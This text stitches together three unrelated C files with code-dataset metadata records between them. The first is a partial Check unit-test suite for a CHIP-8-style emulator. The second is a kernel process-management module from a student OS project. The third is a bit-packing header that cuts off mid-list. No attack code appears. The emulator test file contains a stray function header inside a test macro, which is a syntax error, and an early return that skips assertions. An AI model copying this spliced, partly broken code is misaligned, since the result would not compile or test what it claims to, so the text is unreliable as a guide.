for (int i = 0; i < len; ++i) { \
unsigned short val = list[i]; \
data[i] = (val & 0x00FF) << 8 | (val & 0xFF00) >> 8; \
} \
write_test_rom((char*)data, len * 2); \
pnria_reset(); \
ck_assert(pnria_load(TEST_ROM_NAME)); \
}
#define EXECUTE_INSTRUCTION(instruction) ({ \
LOAD_ROM(instruction); \
pnria_cycle(); \
pnria_get_state(); \
})
#define EXECUTE_INSTRUCTIONS(cycles, ...) ({ \
LOAD_ROM(__VA_ARGS__); \
for (int i = 0; i < cycles; ++i) { \
pnria_cycle(); \
} \
pnria_get_state(); \
})
static void check_init()
{
pnria_state_t state = pnria_get_state();
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET);
ck_assert_uint_eq(state.opcode, 0);
ck_assert_uint_eq(state.I, 0);
ck_assert_uint_eq(state.SP, 0);
ck_assert_uint_eq(state.delay, 0);
ck_assert_uint_eq(state.sound, 0);
unsigned char fontset[] = {
0xF0, 0x90, 0x90, 0x90, 0xF0, // 0
0x20, 0x60, 0x20, 0x20, 0x70, // 1
0xF0, 0x10, 0xF0, 0x80, 0xF0, // 2
0xF0, 0x10, 0xF0, 0x10, 0xF0, // 3
0x90, 0x90, 0xF0, 0x10, 0x10, // 4
0xF0, 0x80, 0xF0, 0x10, 0xF0, // 5
0xF0, 0x80, 0xF0, 0x90, 0xF0, // 6
0xF0, 0x10, 0x20, 0x40, 0x40, // 7
0xF0, 0x90, 0xF0, 0x90, 0xF0, // 8
0xF0, 0x90, 0xF0, 0x10, 0xF0, // 9
0xF0, 0x90, 0xF0, 0x90, 0x90, // A
0xE0, 0x90, 0xE0, 0x90, 0xE0, // B
0xF0, 0x80, 0x80, 0x80, 0xF0, // C
0xE0, 0x90, 0x90, 0x90, 0xE0, // D
0xF0, 0x80, 0xF0, 0x80, 0xF0, // E
0xF0, 0x80, 0xF0, 0x80, 0x80 // F
};
for (int i = 0; i < 80; ++i) {
ck_assert_uint_eq(state.memory[i], fontset[i]);
}
}
START_TEST (init_state_test)
{
pnria_init();
check_init();
}
END_TEST
START_TEST (reset_state_test)
void reset_state_test()
{
pnria_reset();
check_init();
}
END_TEST
START_TEST (load_test)
{
LOAD_ROM(0x0123, 0x4567);
pnria_state_t state = pnria_get_state();
ck_assert_uint_eq(state.memory[PNRIA_START_OFFSET], 0x01);
ck_assert_uint_eq(state.memory[PNRIA_START_OFFSET + 1], 0x23);
ck_assert_uint_eq(state.memory[PNRIA_START_OFFSET + 2], 0x45);
ck_assert_uint_eq(state.memory[PNRIA_START_OFFSET + 3], 0x67);
size_t size = PNRIA_MEMORY_SIZE * 10;
char hugeRom[size];
memset(hugeRom, 1, size);
write_test_rom(hugeRom, size);
ck_assert(!pnria_load(TEST_ROM_NAME));
size_t availableSize = PNRIA_MEMORY_SIZE - PNRIA_START_OFFSET;
char bigRom[availableSize];
memset(bigRom, 1, availableSize);
write_test_rom(bigRom, availableSize);
ck_assert(pnria_load(TEST_ROM_NAME));
size_t exceedingSize = PNRIA_MEMORY_SIZE - PNRIA_START_OFFSET + 1;
char exceedingRom[exceedingSize];
memset(exceedingRom, 1, exceedingSize);
write_test_rom(exceedingRom, exceedingSize);
ck_assert(!pnria_load(TEST_ROM_NAME));
}
END_TEST
START_TEST (test_1nnn)
{
pnria_state_t state = EXECUTE_INSTRUCTION(0x1123);
ck_assert_uint_eq(state.PC, 0x123);
}
END_TEST
START_TEST (test_2nnn)
{
pnria_state_t state = EXECUTE_INSTRUCTION(0x2321);
ck_assert_uint_eq(state.PC, 0x321);
ck_assert_uint_eq(state.SP, 1);
ck_assert_uint_eq(state.stack[state.SP - 1], PNRIA_START_OFFSET);
}
END_TEST
START_TEST (test_00ee)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
2,
0x2202,
0x00EE
);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE);
ck_assert_uint_eq(state.SP, 0);
}
END_TEST
START_TEST (test_annn)
{
pnria_state_t state = EXECUTE_INSTRUCTION(0xA123);
ck_assert_uint_eq(state.I, 0x123);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE);
}
END_TEST
START_TEST (test_bnnn)
{
pnria_state_t state = EXECUTE_INSTRUCTION(0xB321);
ck_assert_uint_eq(state.PC, 0x321);
}
END_TEST
START_TEST (test_3xkk)
{
// don't skip
pnria_state_t state = EXECUTE_INSTRUCTION(0x3001);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE);
// skip
state = EXECUTE_INSTRUCTION(0x3000);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE * 2);
}
END_TEST
START_TEST (test_4xkk)
{
// skip
pnria_state_t state = EXECUTE_INSTRUCTION(0x4001);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE * 2);
// don't skip
state = EXECUTE_INSTRUCTION(0x4000);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE);
}
END_TEST
START_TEST (test_6xkk)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
16,
0x6000, 0x6101, 0x6202, 0x6303,
0x6404, 0x6505, 0x6606, 0x6707,
0x6808, 0x6909, 0x6A0A, 0x6B0B,
0x6C0C, 0x6D0D, 0x6E0E, 0x6F0F
);
for (int i = 0; i < 16; ++i) {
ck_assert_uint_eq(state.V[i], i);
}
}
END_TEST
START_TEST (test_7xkk)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
32,
0x7001, 0x7102, 0x7203, 0x7304,
0x7405, 0x7506, 0x7607, 0x7708,
0x7809, 0x790A, 0x7A0B, 0x7B0C,
0x7C0D, 0x7D0E, 0x7E0F, 0x7F10,
0x7001, 0x7102, 0x7203, 0x7304,
0x7405, 0x7506, 0x7607, 0x7708,
0x7809, 0x790A, 0x7A0B, 0x7B0C,
0x7C0D, 0x7D0E, 0x7E0F, 0x7F10
);
for (int i = 0; i < 16; ++i) {
ck_assert_uint_eq(state.V[i], (i+1)*2);
}
}
END_TEST
START_TEST (test_5xy0)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
5,
0x6101, 0x6301, 0x6402,
0x5140, // don't skip
0x5130 // skip
);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE * 6);
}
END_TEST
START_TEST (test_8xy0)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
16,
0x600F, // load F into V[0]
0x8100, 0x8210, 0x8320, 0x8430,
0x8540, 0x8650, 0x8760, 0x8870,
0x8980, 0x8A90, 0x8BA0, 0x8CB0,
0x8DC0, 0x8ED0, 0x8FE0
);
for (int i = 0; i < 16; ++i) {
ck_assert_uint_eq(state.V[i], 0xF);
}
}
END_TEST
START_TEST (test_8xy1)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
16,
0x60FF, // load F into V[0]
0x8101, 0x8211, 0x8321, 0x8431,
0x8541, 0x8651, 0x8761, 0x8871,
0x8981, 0x8A91, 0x8BA1, 0x8CB1,
0x8DC1, 0x8ED1, 0x8FE1
);
for (int i = 0; i < 16; ++i) {
ck_assert_uint_eq(state.V[i], 0xFF);
}
}
END_TEST
START_TEST (test_8xy2)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
32,
0x60FF, 0x61FF, 0x62FF, 0x63FF,
0x64FF, 0x65FF, 0x66FF, 0x67FF,
0x68FF, 0x69FF, 0x6AFF, 0x6BFF,
0x6CFF, 0x6DFF, 0x6EFF, 0x6F00,
0x80F2, 0x81F2, 0x82F2, 0x83F2,
0x84F2, 0x85F2, 0x86F2, 0x87F2,
0x88F2, 0x89F2, 0x8AF2, 0x8BF2,
0x8CF2, 0x8DF2, 0x8EF2, 0x8FF2
);
for (int i = 0; i < 16; ++i) {
ck_assert_uint_eq(state.V[i], 0x00);
}
}
END_TEST
START_TEST (test_8xy3)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
32,
0x60AA, 0x61AA, 0x62AA, 0x63AA,
0x64AA, 0x65AA, 0x66AA, 0x67AA,
0x68AA, 0x69AA, 0x6AAA, 0x6BAA,
0x6CAA, 0x6DAA, 0x6EAA, 0x6F5A,
0x80F3, 0x81F3, 0x82F3, 0x83F3,
0x84F3, 0x85F3, 0x86F3, 0x87F3,
0x88F3, 0x89F3, 0x8AF3, 0x8BF3,
0x8CF3, 0x8DF3, 0x8EF3, 0x8FF3
);
for (int i = 0; i < 15; ++i) {
ck_assert_uint_eq(state.V[i], 0xF0);
}
ck_assert_uint_eq(state.V[0xF], 0);
}
END_TEST
START_TEST (test_8xy4)
pnria_state_t state = EXECUTE_INSTRUCTIONS(
3,
0x600A, 0x610A,
0x8014
);
ck_assert_uint_eq(state.V[0], 20);
ck_assert_uint_eq(state.V[0xF], 0);
state = EXECUTE_INSTRUCTIONS(
3,
0x6AFF, 0x6BFF,
0x8AB4
);
ck_assert_uint_eq(state.V[0xA], 0xFE);
ck_assert_uint_eq(state.V[0xF], 1);
END_TEST
START_TEST (test_8xy5)
pnria_state_t state = EXECUTE_INSTRUCTIONS(
3,
0x600A, 0x610A,
0x8015
);
ck_assert_uint_eq(state.V[0], 0);
ck_assert_uint_eq(state.V[0xF], 1);
state = EXECUTE_INSTRUCTIONS(
3,
0x6A00, 0x6BFF,
0x8AB5
);
ck_assert_uint_eq(state.V[0xA], 1);
ck_assert_uint_eq(state.V[0xF], 0);
END_TEST
START_TEST (test_8xy6)
pnria_state_t state = EXECUTE_INSTRUCTIONS(
2,
0x600A,
0x8006
);
ck_assert_uint_eq(state.V[0], 5);
ck_assert_uint_eq(state.V[0xF], 0);
state = EXECUTE_INSTRUCTIONS(
2,
0x6011,
0x8006
);
ck_assert_uint_eq(state.V[0x0], 8);
ck_assert_uint_eq(state.V[0xF], 1);
END_TEST
START_TEST (test_8xy7)
pnria_state_t state = EXECUTE_INSTRUCTIONS(
3,
0x600A, 0x610A,
0x8017
);
ck_assert_uint_eq(state.V[0], 0);
ck_assert_uint_eq(state.V[0xF], 1);
return;
state = EXECUTE_INSTRUCTIONS(
3,
0x6A00, 0x6101,
0x8017
);
ck_assert_uint_eq(state.V[0xA], 255);
ck_assert_uint_eq(state.V[0xF], 0);
END_TEST
START_TEST (test_8xye)
pnria_state_t state = EXECUTE_INSTRUCTIONS(
2,
0x600A,
0x800e
);
ck_assert_uint_eq(state.V[0], 20);
ck_assert_uint_eq(state.V[0xF], 0);
state = EXECUTE_INSTRUCTIONS(
2,
0x60F0,
0x800e
);
ck_assert_uint_eq(state.V[0], 224);
ck_assert_uint_eq(state.V[0xF], 1);
END_TEST
START_TEST (test_9xy0)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
5,
0x600A, 0x610A, 0x620F,
0x9010, 0x9020
);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE * 6);
}
END_TEST
START_TEST (test_ex9e)
{
// don't skip
pnria_state_t state = EXECUTE_INSTRUCTIONS(
2,
0x600A,
0xE09E
);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE * 2);
// skip
char keys[16] = { 0 };
keys[0xA] = 1;
// don't skip
LOAD_ROM(0x600A, 0xE09E)
pnria_set_input(keys);
pnria_cycle(); pnria_cycle();
state = pnria_get_state();
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE * 3);
}
END_TEST
START_TEST (test_exa1)
{
// don't skip
pnria_state_t state = EXECUTE_INSTRUCTIONS(
2,
0x600A,
0xE0A1
);
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE * 3);
// don't skip
char keys[16] = { 0 };
keys[0xA] = 1;
// skip
LOAD_ROM(0x600A, 0xE0A1)
pnria_set_input(keys);
pnria_cycle(); pnria_cycle();
state = pnria_get_state();
ck_assert_uint_eq(state.PC, PNRIA_START_OFFSET + PNRIA_OPCODE_SIZE * 2);
}
END_TEST
START_TEST (test_fx15)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
2,
0x6051, 0xF015
);
// delay decreases in the cycle
ck_assert_uint_eq(state.delay, 0x50);
}
END_TEST
START_TEST (test_fx07)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
3,
0x6051, 0xF015, 0xF007
);
ck_assert_uint_eq(state.V[0], 0x50);
ck_assert_uint_eq(state.delay, 0x4F);
}
END_TEST
START_TEST (test_fx18)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
2,
0x6051, 0xF018
);
ck_assert_uint_eq(state.sound, 0x50);
}
END_TEST
START_TEST (test_fx1e)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
2,
0x60AA, 0xF01E
);
ck_assert_uint_eq(state.I, 0xAA);
}
END_TEST
START_TEST (test_fx55)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
18,
// load all registers
0x6000, 0x6101, 0x6202, 0x6303,
0x6404, 0x6505, 0x6606, 0x6707,
0x6808, 0x6909, 0x6A0A, 0x6B0B,
0x6C0C, 0x6D0D, 0x6E0E, 0x6F0F,
0xAAAA, // set I to AAA
0xFF55 // load all registers into memory
);
for (int i = 0; i < 16; ++i) {
ck_assert_uint_eq(state.memory[0xAAA + i], i);
}
}
END_TEST
START_TEST (test_fx65)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
3,
0x1212, // jump to the instruction after test data
// test data
0x0102, 0x0304, 0x0506, 0x0708,
0x090A, 0x0B0C, 0x0D0E, 0x0F10,
0xA202, // point I to start of test data
0xFF65 // load test data to registers
);
for (int i = 0; i < 16; ++i) {
ck_assert_uint_eq(state.V[i], i + 1);
}
}
END_TEST
START_TEST (test_fx33)
{
pnria_state_t state = EXECUTE_INSTRUCTIONS(
3,
0x60AC, 0xABBB, 0xF033
);
ck_assert_uint_eq(state.I, 0xBBB);
ck_assert_uint_eq(state.memory[state.I], 1); // 0001
ck_assert_uint_eq(state.memory[state.I + 1], 7); // 0111
ck_assert_uint_eq(state.memory[state.I + 2], 2); // 0010
}
END_TEST
Suite *panaroia_suite()
{
Suite *suite = suite_create("panaroia");
TCase *core = tcase_create("Core");
// lib interface
tcase_add_test(core, init_state_test);
tcase_add_test(core, reset_state_test);
tcase_add_test(core, load_test);
// TODO 0xe0
// TODO 0xee
// instructions
tcase_add_test(core, test_1nnn);
tcase_add_test(core, test_2nnn);
tcase_add_test(core, test_00ee);
tcase_add_test(core, test_annn);
tcase_add_test(core, test_bnnn);
tcase_add_test(core, test_3xkk);
tcase_add_test(core, test_6xkk);
tcase_add_test(core, test_7xkk);
// TODO cxkk
tcase_add_test(core, test_5xy0);
tcase_add_test(core, test_8xy0);
tcase_add_test(core, test_8xy1);
tcase_add_test(core, test_8xy2);
tcase_add_test(core, test_8xy3);
tcase_add_test(core, test_8xy4);
tcase_add_test(core, test_8xy5);
tcase_add_test(core, test_8xy6);
tcase_add_test(core, test_8xy7);
tcase_add_test(core, test_8xye);
tcase_add_test(core, test_9xy0);
tcase_add_test(core, test_ex9e);
tcase_add_test(core, test_exa1);
tcase_add_test(core, test_fx15);
tcase_add_test(core, test_fx07);
tcase_add_test(core, test_fx18);
tcase_add_test(core, test_fx1e);
// TODO fx29
// TODO dxy0
tcase_add_test(core, test_fx55);
tcase_add_test(core, test_fx65);
tcase_add_test(core, test_fx33);
suite_add_tcase(suite, core);
return suite;
}
int main()
{
int failed;
Suite *s = panaroia_suite();
SRunner *runner = srunner_create(s);
srunner_run_all(runner, CK_VERBOSE);
failed = srunner_ntests_failed(runner);
srunner_free(runner);
return failed == 0 ? 0 : 1;
}
| 2.1875 | 2 |
2024-11-18T20:50:39.559870+00:00 | 2018-06-06T23:21:39 | 91cf8f422a0d811c600103c92cf67b513a2365c5 | {
"blob_id": "91cf8f422a0d811c600103c92cf67b513a2365c5",
"branch_name": "refs/heads/master",
"committer_date": "2018-06-06T23:21:39",
"content_id": "b0104edf14ca5efbc7c9786ea4d6cd2f3de14b08",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "b0b1d36f4e16d23c5016ce81e49d3e41b761298d",
"extension": "c",
"filename": "process.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 133586970,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5316,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/TP_Arquitectura_De_Computadoras-master/RowDaBoat-x64barebones-d4e1c147f975/Kernel/process.c",
"provenance": "stackv2-0118.json.gz:46132",
"repo_name": "JuanPabloLoCoco/TP_SO2",
"revision_date": "2018-06-06T23:21:39",
"revision_id": "e5bb55584556520541439384dbabc9f4a4e2ce6a",
"snapshot_id": "e7f9d491030592467d1fb9a769a16f47bf450aa4",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/JuanPabloLoCoco/TP_SO2/e5bb55584556520541439384dbabc9f4a4e2ce6a/TP_Arquitectura_De_Computadoras-master/RowDaBoat-x64barebones-d4e1c147f975/Kernel/process.c",
"visit_date": "2020-03-17T12:24:07.910680"
} | stackv2 | #include "include/lib.h"
#include "include/buddyAllocator.h"
#include "include/videoDriver.h"
#include "include/systemCallDispatcher.h"
#include "include/pipe.h"
#include <defs.h>
#include <mutex.h>
#include <semaphore.h>
#include <strings.h>
#include <process.h>
#include <scheduler.h>
#define MAX_PROCESSES 128
static uint64_t nextPID = 0;
static int table_mutex_key;
static process * process_table[MAX_PROCESSES] = {NULL};
static process * foreground = NULL;
static uint64_t n_processes = 0;
static void unblock_foreground_process (process * p);
static uint64_t fill_stack(uint64_t entryPoint, uint64_t stack_base, uint64_t params);
int equalProcesses(process * p1, process * p2)
{
return p1->pid == p2->pid;
}
static void lock_table()
{
mutex_lock(table_mutex_key);
}
static void unlock_table()
{
mutex_unlock(table_mutex_key);
}
void initialize_process_mutex()
{
table_mutex_key = mutex_open(PROCESSMUTEX);
}
static int insert_process(process * p)
{
int i;
lock_table();
for (i = 0; i < MAX_PROCESSES; i++)
{
if (process_table[i]==NULL)
{
n_processes++;
p->pid = i;
process_table[i] = p;
unlock_table();
return i;
}
}
unlock_table();
return -1;
}
int get_current_pids(int pid_array[])
{
int i, j, process_left;
lock_table();
process_left = n_processes;
for (i = j = 0;i<MAX_PROCESSES && process_left > 0; i++)
{
if (process_table[i] != NULL)
{
pid_array[j++] = pid_process(process_table[i]);
process_left--;
}
}
pid_array[j] = -1;
unlock_table();
return j;
}
int get_name_process(char * buffer, process * p)
{
return strcpyWithNoIndex(buffer, p->descr);
}
process * createProcess(uint64_t entryPoint, uint64_t params, char * name)
{
process * newProcess = (process *)buddyAllocate(sizeof(process));
newProcess->entry_point = entryPoint;
newProcess->stack_page = get_stack_page();
newProcess->rsp = fill_stack(entryPoint, newProcess->stack_page, params);
newProcess->pid = nextPID++;
for(int i=0;i<5;i++)
{
newProcess->fd[i]=0;
}
newProcess->state = READY;
strcpyWithNoIndex (newProcess->descr, name);
if (newProcess->pid != 0)
{
newProcess->ppid = pid_process(get_current_process());
}
else
{
foreground = newProcess;
}
insert_process(newProcess);
return newProcess;
}
process * get_process_by_pid (uint64_t pid)
{
if (pid < MAX_PROCESSES && process_table[pid] != NULL && !is_dead_process(process_table[pid]))
{
return process_table[pid];
}
return NULL;
}
void destroy_process(process * p)
{
if (p != NULL)
{
lock_table();
n_processes--;
freeProcess(p);
if (foreground == p)
{
set_foreground_process(process_table[p->ppid]);
}
process_table[p->pid] = NULL;
unlock_table();
}
}
void freeProcess(process * process)
{
store_stack_page(process->stack_page);
buddyFree(process);
}
void * stack_page_process(process * p)
{
return (void *) p->stack_page;
}
int kill_process(process * p)
{
if (p != NULL && p->pid > 1)
{
p->state = DEAD;
}
return p != NULL;
}
int is_dead_process (process * p)
{
if (p != NULL)
{
return p->state == DEAD;
}
return 0;
}
void set_rsp_process(process * p, uint64_t rsp)
{
if (p != NULL)
{
p->rsp = rsp;
}
}
uint64_t get_rsp_process(process * p)
{
if (p != NULL)
{
return p->rsp;
}
return -1;
}
uint64_t pid_process(process * p)
{
if (p != NULL)
{
return p->pid;
}
return -1;
}
uint64_t ppid_process(process * p)
{
if (p != NULL)
{
return p-> ppid;
}
return -1;
}
void block_process(process * p)
{
if (p != NULL && p->state != DEAD)
{
p->state = BLOCKED;
}
}
void unblock_process(process * p)
{
if (p != NULL && p->state != DEAD)
{
p->state = READY;
}
}
int is_blocked_process(process * p) {
if (p != NULL)
{
return p->state == BLOCKED || p->state == BLOCKED_READ || p->state == BLOCKED_FOREGROUND;
}
return 1;
}
void unblock_read_process(process * p)
{
if (p->state == BLOCKED_READ)
{
unblock_process(p);
}
}
void block_read_process(process * p)
{
p->state = BLOCKED_READ;
}
void set_foreground_process (process * p)
{
if (foreground == get_current_process())
{
set_foreground_force_process(p);
}
}
void set_foreground_force_process(process * p)
{
if (p != NULL && p->pid != 0)
{
foreground = p;
unblock_foreground_process(p);
}
}
static void unblock_foreground_process (process * p)
{
if (p != NULL && p->state == BLOCKED_FOREGROUND)
{
p->state = READY;
}
}
void block_foreground_process(process * p) {
if (p != NULL)
{
p->state = BLOCKED_FOREGROUND;
}
}
process * get_foreground_process()
{
return foreground;
}
uint64_t number_processes()
{
return n_processes;
}
static uint64_t fill_stack(uint64_t entryPoint, uint64_t stack_page, uint64_t params)
{
StackFrame * frame = (StackFrame *) stack_page - 1;
frame->gs = 0x001;
frame->fs = 0x002;
frame->r15 = 0x003;
frame->r14 = 0x004;
frame->r13 = 0x005;
frame->r12 = 0x006;
frame->r11 = 0x007;
frame->r10 = 0x008;
frame->r9 = 0x009;
frame->r8 = 0x00A;
frame->rsi = 0x00B;
frame->rdi = params;
frame->rbp = 0x00D;
frame->rdx = 0x00E;
frame->rcx = 0x00F;
frame->rbx = 0x010;
frame->rax = 0x011;
frame->rip = entryPoint;
frame->cs = 0x008;
frame->eflags = 0x202;
frame->rsp = (uint64_t)&(frame->base);
frame->ss = 0x000;
frame->base = 0x000;
return (uint64_t) &frame->gs;
}
| 2.734375 | 3 |
2024-11-18T20:50:40.181380+00:00 | 2014-01-26T00:01:08 | 5ed360363fc23357f0523b608e2b0cd9afcb4562 | {
"blob_id": "5ed360363fc23357f0523b608e2b0cd9afcb4562",
"branch_name": "refs/heads/master",
"committer_date": "2014-01-26T00:01:08",
"content_id": "d19129d0702cd116995316ae4c2997c75b61c890",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "60e8f7baecaf8ec68dbdfb1ecea32a48e305e753",
"extension": "h",
"filename": "integratedbitpacking.h",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 16213280,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 9988,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/include/integratedbitpacking.h",
"provenance": "stackv2-0118.json.gz:46651",
"repo_name": "searchivarius/SIMDCompressionAndIntersection--with-Leo-s-additions-",
"revision_date": "2014-01-26T00:01:08",
"revision_id": "845e703334591ecb283920856780d6333512a0b5",
"snapshot_id": "7ffacddc532ce15a634462b15a788da2a515d038",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/searchivarius/SIMDCompressionAndIntersection--with-Leo-s-additions-/845e703334591ecb283920856780d6333512a0b5/include/integratedbitpacking.h",
"visit_date": "2021-01-18T11:41:05.188345"
} | stackv2 | /**
* This code is released under the
* Apache License Version 2.0 http://www.apache.org/licenses/.
*
* (c) Daniel Lemire, http://lemire.me/en/
*/
#ifndef INTEGRATEDBITPACKING
#define INTEGRATEDBITPACKING
#include <stdint.h>
void __integratedfastunpack0(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack1(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack2(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack3(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack4(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack5(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack6(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack7(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack8(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack9(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack10(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack11(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack12(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack13(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack14(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack15(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack16(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack17(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack18(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack19(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack20(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack21(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack22(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack23(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack24(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack25(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack26(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack27(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack28(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack29(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack30(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack31(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastunpack32(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack0(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack1(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack2(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack3(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack4(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack5(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack6(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack7(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack8(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack9(const uint32_t initoffset, const uint32_t *__restrict__ in, uint32_t *__restrict__ out);
void __integratedfastpack10(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack11(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack12(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack13(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack14(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack15(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack16(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack17(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack18(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack19(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack20(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack21(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack22(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
